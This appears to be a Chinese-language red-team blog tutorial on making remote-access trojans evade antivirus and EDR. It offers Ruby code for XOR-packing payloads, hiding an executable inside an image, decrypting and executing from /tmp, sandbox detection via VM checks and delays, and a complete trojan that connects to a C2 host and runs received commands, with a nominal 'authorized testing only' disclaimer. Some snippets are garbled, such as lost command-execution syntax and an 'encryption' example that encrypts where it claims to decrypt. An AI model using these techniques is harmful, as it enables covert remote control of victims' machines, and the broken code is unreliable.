一、免杀的背后:在对抗中进化

远控木马的免杀技术是红队行动中的关键一环。无论是初入安全领域的新人,还是久经沙场的老兵,绕过杀软、EDR(Endpoint Detection and Response)始终是一个令人兴奋且充满挑战的技能。

现代杀软使用的检测技术早已不局限于传统的特征码扫描,行为监控、沙盒分析、内存扫描都在发挥作用。因此,研究免杀技术的核心,是如何绕过这些检测机制。换句话说,我们的目标是与杀软的检测策略博弈,从静态到动态,从文件到流量,达到“隐身”的效果。

在本节,我们将从技术原理的角度出发,分析杀软的检测机制,并结合实际的免杀手段以实现对抗。为了让读者能更直观地理解后续内容,我会用一个简单的远控木马为例,展示绕过检测的全过程。

---

二、从静态到动态:杀软检测机制的剖析

静态检测动态检测是杀软的两大主力功能。要绕过它们,我们必须先了解它们的工作原理:

静态检测:特征码与文件分析

静态检测是杀软的第一道防线。它会扫描文件的内容、元数据,甚至算出文件的哈希值,与病毒库中的特征码进行比对。

  • 特征码匹配:这是最经典的检测手段,杀软会根据文件中的某些字节序列(特征码)判断是否为恶意文件。
  • 文件格式验证:如 PE 文件的结构是否符合规范,UPX 壳文件是否被加壳等。
  • 哈希检测:文件的 MD5/SHA1 值是否与已知恶意样本的哈希匹配。

动态检测:行为分析与沙盒环境

对于更高级的木马,特征码显然不够用。这时,杀软会启动动态检测机制:

  • 行为监控:当程序运行时,监控其关键 API 调用(如网络通信、进程注入、文件读写)。
  • 沙盒分析:将文件在隔离环境中运行,观察其动态行为,判断是否存在恶意意图。
  • 内存扫描:实时检测进程的内存空间中是否存在恶意代码。

红队需要考虑的免杀手段,就是在文件层(静态)运行层(动态)绕过这些检测。

---

三、免杀的切入点:Payload构造的艺术

要让远控木马实现免杀,Payload(载荷) 的构造至关重要。绕过特征码和静态检测的方法多种多样,以下是几种经典手段:

1. 加壳与混淆

加壳是最基础的免杀技术,但传统的 UPX 等常见加壳手段早已被杀软标记为恶意行为。我们可以使用自定义加壳工具,或者对加壳后的文件进行二次修改,从而避开检测。

以下是一个 Ruby 脚本,用于对文件进行简单的自定义加密(伪加壳):

<pre><code class="language-ruby"># 自定义加密脚本 —— 用 XOR 加密文件 file_path = &quot;payload.exe&quot; output_path = &quot;encrypted_payload.bin&quot; key = 0x42

黑客示意图

data = File.binread(file_path) encrypted_data = data.bytes.map { |b| b ^ key }.pack(&#039;C*&#039;)

File.open(output_path, &#039;wb&#039;) { |f| f.write(encrypted_data) } puts &quot;加密完成,文件已保存为 #{output_path}&quot;</code></pre>

解密过程可以在木马运行时动态完成,从而绕过静态检测。下一节我们会演示如何将其嵌入到一个远控木马中。

2. 文件格式伪装

为了绕过文件分析,我们可以修改文件的元数据,比如伪装成合法的 PDF、图片文件等。

<pre><code class="language-shell"># 将恶意载荷伪装为图片文件 cat benign_image.jpg payload.exe &gt; fake_image.jpg mv fake_image.jpg trojan.jpg</code></pre>

上面的操作将恶意载荷附加到图片文件尾部。虽然文件看起来是图片,但运行时仍会加载木马。注意,这种方法需要配合漏洞利用或用户误操作才能生效。

3. 动态加载与反射注入

为了绕过沙盒动态分析,可以将恶意代码从磁盘文件中移除,改为内存加载。以下是一个简单的 Ruby 示例,利用反射注入技术将加密的 Payload 解密后加载到内存中:

<pre><code class="language-ruby"># 动态加载恶意代码 encrypted_payload_path = &quot;encrypted_payload.bin&quot; key = 0x42

解密函数

def decrypt(data, key) data.bytes.map { |b| b ^ key }.pack(&#039;C*&#039;) end

加载并解密 Payload

encrypted_data = File.binread(encrypted_payload_path) decrypted_payload = decrypt(encrypted_data, key)

写入到临时文件并执行

tmp_path = &quot;/tmp/decrypted_payload&quot; File.open(tmp_path, &#039;wb&#039;) { |f| f.write(decrypted_payload) } system(&quot;chmod +x #{tmp_path}&quot;) exec(tmp_path)</code></pre>

这种方法可以避免恶意代码直接被杀软扫描到,同时动态加载的代码还可以进一步使用混淆手段。

---

四、对抗动态检测的高级技巧

动态检测的绕过比静态复杂得多,因为它不再仅仅依赖文件的内容,而是分析木马的实际行为。以下是几种对抗动态检测的高级技巧:

黑客示意图

1. 延时与沙盒检测

杀软的沙盒运行环境通常是虚拟化的,而木马可以通过检测系统的运行环境,判断是否处于沙盒中。以下是一个简单的 Ruby 示例,用于检测是否运行在虚拟机中:

<pre><code class="language-ruby"># 检测虚拟机环境 def running_in_vm? output = systemd-detect-virt output.include?(&quot;vmware&quot;) || output.include?(&quot;virtualbox&quot;) end

if running_in_vm? puts &quot;检测到虚拟机环境,退出&quot; exit end

黑客示意图

puts &quot;未检测到虚拟机,继续运行&quot;</code></pre>

此外,通过加入延时(例如 sleep 300)也可以绕过一些检测机制,因为沙盒的检测时间通常很短。

2. API Hook 对抗

一些杀软会通过 Hook 系统调用来监控木马行为。我们可以使用 Inline Hook 技术,重写关键 API 的地址,从而让杀软无法正确捕捉行为。

---

五、实战案例:完整的免杀攻击链

为了更清晰地展示免杀技术,我们以一个简单的远控木马为例,从构造到免杀完成整个攻击链。

1. 构造木马

以下是一个使用 Ruby 编写的简单远控木马,功能是连接到攻击者的 C2 服务器,并执行从服务器发送的命令。

<pre><code class="language-ruby">require &#039;socket&#039;

server_ip = &quot;192.168.1.100&quot; server_port = 4444

begin socket = TCPSocket.new(server_ip, server_port) puts &quot;连接到 C2 成功&quot;

while (command = socket.gets) result = #{command} # 执行收到的命令 socket.puts result # 返回执行结果 end rescue puts &quot;连接失败&quot; end</code></pre>

2. 加壳与免杀

将木马文件加密后动态加载(参考上文的 XOR 加密示例),并对文件进行伪装。

3. 流量伪装

为了避免 C2 通信被检测,可以对流量进行加密或伪装为 HTTPS 通信。以下是一个简单的流量加密例子:

<pre><code class="language-ruby">require &#039;openssl&#039; require &#039;socket&#039;

cipher = OpenSSL::Cipher.new(&#039;AES-256-CBC&#039;) cipher.encrypt key = cipher.random_key iv = cipher.random_iv

server_ip = &quot;192.168.1.100&quot; server_port = 4444

socket = TCPSocket.new(server_ip, server_port) puts &quot;连接到 C2 成功&quot;

while (command = socket.gets) encrypted_command = cipher.update(command) + cipher.final result = #{encrypted_command} # 执行解密后的命令 socket.puts result end</code></pre>

---

六、个人经验分享:免杀技术的未来

研究免杀技术不只是为了对抗杀软,而是为了理解攻防对抗的核心逻辑。随着 EDR 和 AI 技术的普及,未来的免杀会更注重“无文件化”和“内存隐匿化”。这是一场没有终点的军备竞赛,而只有在不断的实战中,才能真正掌握免杀的精髓。

最后,文章中的技术仅供授权测试,切勿用于非法用途!